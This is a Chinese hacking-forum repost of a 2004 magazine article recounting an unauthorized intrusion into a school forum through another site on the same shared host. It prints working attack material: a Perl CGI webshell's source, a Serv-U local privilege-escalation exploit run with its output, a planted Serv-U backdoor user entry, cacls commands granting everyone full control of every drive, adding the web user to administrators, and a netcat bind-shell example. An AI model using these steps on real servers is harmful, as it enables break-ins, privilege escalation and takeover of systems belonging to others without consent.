找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2072|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 % O6 X% @/ j- ~9 r( X7 {
本文作者:angel
# d" s. L; u3 X" e- B; ^$ m9 g% m文章性质:原创
1 Y# e* n. H; w发布日期:2004-11-09
2 t! p4 h& R  I. S7 }. d" v注意:
# F" i0 x: Q) D本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。& x  t( A( }$ L5 p
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
& h! _! ]  `. G& y8 _8 G9 K
" {! g! c  s  F! n, I  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 , w1 g2 C& _5 x( W" g
) N7 S8 ]$ ?% L
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 4 {# e: f. v# M/ ^) I

/ q; A# j- M0 y$ u% E6 u  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。   c  m0 O+ M1 J3 ~  N

; M8 N  {# p2 S5 O- }; e/ \& I  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
7 \& R8 o" U4 l8 K9 s# n  |2 o/ J& n7 X$ W
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 + Y. ]( |+ f: p& A+ T

7 X1 h; ?: @2 Q* k+ p% {  没有目的的跳转目录着……
& ]  `, c- {) D
& V8 U- M) x5 \- G9 I/ r; q! A  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… " N8 l& y  ]! C, V* b
) g8 {) }. ?3 a
  结束了吗?不,我试着 FTP 一下:
* O, T- t9 D  F. t$ x! J& \6 Y# Q; l  g! B# {- I8 b$ E8 K
Microsoft Windows 2000 [Version 5.00.2195]2 r2 L: o  s" k, Y+ x: H0 ]( R
(C) 版权所有 1985-2000 Microsoft Corp. 5 f  E, S; B# A9 b; C7 v* O
) W2 j& ^* B% P3 S% X) W
C:\Documents and Settings\Administrator>ftp www.school.com
/ U/ n# p8 w% M% VConnected to www. school.com. 6 r5 h/ M# G* J. k7 r
220 Welcome to FTP Server...
3 g( [0 ^, A' ~/ b& F" \5 s, XUser (www.bjtrq.com:(none)):
- M# O) i4 s: j- {4 @331 User name okay, need password. - X2 k6 L$ H3 N5 @  e9 ^% z
Password:
5 Z  q, m  r" z+ E530 Not logged in.
7 |5 U+ q; \  \% y( FLogin failed.
! G7 S$ H4 Y/ uftp> bye
3 j) v3 F$ w  I, l$ @7 }221 Goodbye! 4 `0 C: s. W4 [4 C3 N

7 \& O& C' v! e1 [. Z# `5 @5 ^. I# @
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ; S4 ]6 B& F0 Q5 n0 F& ]
9 M. G: x: R/ p. g/ A, p
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ' R* B* O# K# p, K7 ]: J
! X2 w( j$ r+ g& b, m
Application Data6 H- D6 ~- u9 A* Z
Documents8 p& c/ p( U9 l& `4 v, I# g
DRM
. R3 `$ X9 [! X/ nFavorites" z% G' T) I1 g- X
Templates
7 m3 t$ I# o  p% S1 Q9 b" C「开始」菜单: v7 e& d5 A# s1 i) b' Q- S
桌面- \0 @) B4 G; u! N: ]+ u- c% g$ b

4 I. R/ U! B! h1 |7 O8 q" l
  f8 }, T' `% p6 O5 L2 B% `  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
6 a% ?% @/ z4 G4 R& r! M% @; M; ~& \3 |  M$ N& i7 b
ActiveState ActivePerl 5.8
, K1 A; j8 H: z4 fAdministrative Tools
% i: k+ z; \4 A$ a$ v( M& _Deerfield.com
7 o; S9 i' v5 ^& g8 oDTemp
( e, \  F0 \) ~& k% [, I2 iIPSentry
6 _/ M7 o: Q9 P2 e! oMBM 5
4 }1 Q0 \. D' m' S# Q9 X' ]# XNetMeter8 u6 z, `( u7 u- V& l2 W
Network ICE
6 ~8 H2 h7 J9 Q% q9 F5 Z, hPersits Software AspEmail- O( [: H2 A- o! ^2 K9 F
Persits Software AspJpeg
8 S5 C+ c  j0 u4 E7 u* j9 z3 o. ?Serv-U FTP Server- u% |/ \) x( P' Z
Symantec Client Security
7 D/ h- q4 H8 k3 ^" WWindows 优化大师* o( t  ?  l$ T. n3 E8 N
WinRAR0 j5 ~  _5 t. \) y" t
启动# b& ^& @! {( Q# f( H
管理工具
0 M, }+ X1 }* |: k. f* Q5 Z* @附件/ g3 b5 l" b8 d* j

7 ~$ }" w# o& L- M% A1 |3 `& c6 H  _2 ]: P, F5 `; B
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
3 h* t1 g9 ^" D% ~4 c( u% F4 T4 y$ f
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: " h) t% R! g& O8 l' |. X3 W

, B5 \% H2 u; n: h" y( aUser281=angel|1|0
4 K6 H" L  L, m+ ~/ G7 e: x- Y
% ?8 e1 e7 |8 k9 ^' l( _, [0 R" j& D* t9 [0 S) b- |: K
  然后加上
! k: \0 Z4 u2 v, f9 m+ R6 D/ |0 b# ?1 r& l. _9 u+ x6 E- P
[USER=angel|1]
- Z" U5 T5 Z5 I0 Y& `Password=ng98F85379EA68DBF97BAADCA99B69B805: C$ ~. a; s) L4 ^8 E
HomeDir=D:\websites
5 {7 q8 |9 @. c, H' sRelPaths=1
6 f* G/ C# l# W- ZTimeOut=600
1 `+ d8 N) K& L- t/ ]. Z1 u' CMaintenance=System2 N; R1 c3 b; d: _
Access1=D:\websites|RWAMELCDP
! s' S: X' V7 C* S5 h! @& U& l. GSKEYValues=
0 |6 P% k& x* Y* Y; v
3 V' E" b( ]4 v7 _/ L6 V7 O! u' e$ z
$ d9 }0 q4 H. j4 z, D  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
* ^  e& V7 l& _% e: d0 _8 U8 v: n- f1 s% q& g% w
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 ) x& R/ j" {* I5 L) L+ c6 p

& K9 p, G& r/ `9 x+ y" W  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
9 C% |/ ~, m* r+ U  B( W2 l( m) O  y, k) B( P# L2 h' c: O4 D
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
/ ?% H# C: [! V( y3 G- J! z) n, u7 s% [, m
#!/usr/bin/perl5 a4 y, D$ g+ T, t1 m( _
binmode(STDOUT);5 B% ?+ F6 ~4 b* N- `6 _- [
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);0 C3 T! n$ m2 d% K
$_ = $ENV{QUERY_STRING};6 @  _9 \# E7 a  S/ @4 f
s/%20/ /ig;
9 c' y+ d# b+ d8 C! K2 ds/%2f/\//ig;# d2 z7 z" s. g9 e/ z  K% A1 X
$execthis = $_;1 D4 g  _' T; p8 E3 V* O/ I  E
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);0 N7 n' T5 t8 c/ X1 ]& Z
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
3 c* }  B) b8 U( z( P, F, C6 J0 msystem($execthis);3 U( |: P( i9 A( q2 k3 c
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);$ M; J$ Y/ y4 S% h% l
close(STDERR);
3 E  ?4 w. {  P! ]* L$ f3 sclose(STDOUT);
; o* n9 p# o( O" a& [exit;
9 s2 p6 L. J- v; O, C- F 1 h8 e* `7 R( ?$ I( L: b
6 b. i  E6 @8 G
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
, D( O0 w6 n5 M. w7 h& Q& P9 U( R  }( M# D& n( n9 l
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: & k+ i6 Z9 P5 T. W) ]) D% g3 b
& H8 I  C  o4 r5 L9 ]
http://anyhost//cmd.pl?d:\user\bin\su.exe
7 h, w) M( w% O, T% @ 7 w2 P4 T; P2 ?
- m' j. }8 M- q* m8 }" A- d
  返回: # d" E6 E* r# W& j& x/ }0 ]

! u1 c2 ]. Z' ?& Q6 q8 a' g6 }Serv-u >3.x Local Exploit by xiaolu 4 B9 m: H! C5 A9 t+ I

2 u3 f7 c" O+ J' x9 C! dUSAGE: serv-u.exe "command"
: b* }  p6 Y, _, Z2 o( X  \) u1 o. o, O( [; t
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
6 `0 G& V) x/ h) M+ m' z: Y / a) e5 q1 T0 D$ j$ I! G- _. z
0 F& _: l& q! ?$ r8 H
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: * `& t0 s) `2 |$ y2 S) n9 D2 `0 z

6 g" G! ^. K  q- W; l' w# |: ]http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" : t$ W: B$ S4 v9 i/ d3 [
# m# D5 C/ }* _) E+ u. O
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
: L; F- A- W/ @3 _
9 v& F4 v7 G  Qhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
8 w- M9 v: `1 G8 A3 e4 ?# e1 x! d! c1 X0 b
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
) }, G5 M" o9 Z3 H& I ) j/ E( K. z# u9 W1 k

1 }) N! @2 w3 a" k  返回下面的信息,就表示成功了!!! : y# k- F0 T% Y  B1 D3 N2 _

4 K/ x9 _4 s, a+ {8 L7 B' OServ-u >3.x Local Exploit by xiaolu
3 ^& u/ U- F# m; U2 I( J* Q4 d9 p6 i; N# C1 b- i( X' c' ?5 ?
<220 Serv-U FTP Server v5.2 for WinSock ready...
' O2 D/ f. x6 O0 Q$ B# [3 J* s( J, u
>USER LocalAdministrator ) c- Q3 M, B  f
$ ~0 |6 F2 a6 b7 c! [& J. a9 M, {
<331 User name okay, need password.
6 g& S3 I. h0 G' w  ]8 z+ q
0 U2 U- z( q# t( e3 z9 R****************************************************** 2 m+ t( K: v: W. T; ^9 D' s
( l& L* p7 Q1 Q  B0 F' C
>PASS #l@$ak#.lk;0@P
* L: J) D' t# Q
& N! ]* ~. j4 W- v: C<230 User logged in, proceed. / E, }2 L+ H  t
% D- r/ U6 |8 T
******************************************************
! S0 m: z! _2 O+ b8 j" i' X+ w4 ~0 E: j# ?& W
>SITE MAINTENANCE 2 f3 L( Z4 T, c+ G

! {. h% \4 _# V' r******************************************************
/ Z, m1 F3 l: @+ W4 s1 n4 ]3 u! k' S
[+] Creating New Domain...
, m2 [2 M# J6 w9 Z0 f5 n& K/ z) c# S* u' ?% `) E$ K- X& m8 m
<200-DomainID=2 ( [0 t0 P8 Y  `3 m* L6 L+ }
4 a( a% f! u& |( s
<220 Domain settings saved ; x& Z) h; p6 @, @5 E) N

6 @4 Y" x/ u# O' e  s  E5 e4 O+ E****************************************************** 5 [2 o" s3 N! Y$ s8 G# `; u

) X/ d! ]+ O, \[+] Domain xl:2 Created
  Y3 m( s) i  A, a5 e& o1 @
1 ^& H7 Y4 L7 u( O[+] Creating Evil User 3 J9 G0 p# L6 U* W
' g2 X9 ?2 m  i7 T$ p
<200-User=xl
7 t. Y$ `: k5 A: L3 |  B
6 i5 u' W5 d3 J) N. @+ e0 b200 User settings saved
, D3 X  y) ^+ j5 d% C; e" I! H% x; q6 _. \5 v7 v1 \$ Z$ E# L% J
******************************************************
0 K! T9 b' k5 }' z7 n4 a0 {% s/ w0 I
[+] Now Exploiting...
4 l! _- C# M( c- m- \: A0 _4 w  \5 H' U1 A: n6 w' A
>USER xl ! R5 Q2 ?0 F8 G
" R9 r+ I5 E8 D
<331 User name okay, need password.
/ Q2 r' S1 k6 j8 t4 u
( \  {$ Z& ]% @  X+ W8 \9 m* Z******************************************************
0 b3 C" Q" b8 O2 ^  I6 r# H9 `( \4 n* R9 p
>PASS 111111
: O6 X0 T# j8 ^. P: z7 I& d0 e8 K2 @
<230 User logged in, proceed.
2 S; _4 w$ G; }9 S* q( J7 V7 y' n; r5 ^  \
******************************************************
+ G- G( M" L3 r# I4 @3 X9 B. w/ P! o9 e/ `$ e. `. G
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
4 ~2 |2 p# ~  F1 }+ o7 g4 R) F( I* c, C, U+ X+ z  [
<220 Domain deleted 0 H8 t( ~& g4 B
8 c& m$ g$ e  i4 j- f
****************************************************** 2 z' K. d1 ]/ s' a! n

% I: v* ?' f& A2 _1 C
4 o- w  w! `$ g( E: e. x3 G" |, c1 J  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
. Z! f) n' i4 l& X) D0 f  c. f0 M- h; v9 w# g
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" / p% e$ |: g! o8 f1 f9 s

7 V3 D' g- f2 {8 q
3 U! P2 Q; n/ W. g1 X% q$ ^  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
4 q4 s/ y3 @0 j, M9 m5 K( x" A8 B7 A
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
" z, b; N6 @& ?% _9 t9 t6 F 6 r2 V, f' p" M! j( [
  
7 H8 W+ B' k# J5 y- g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表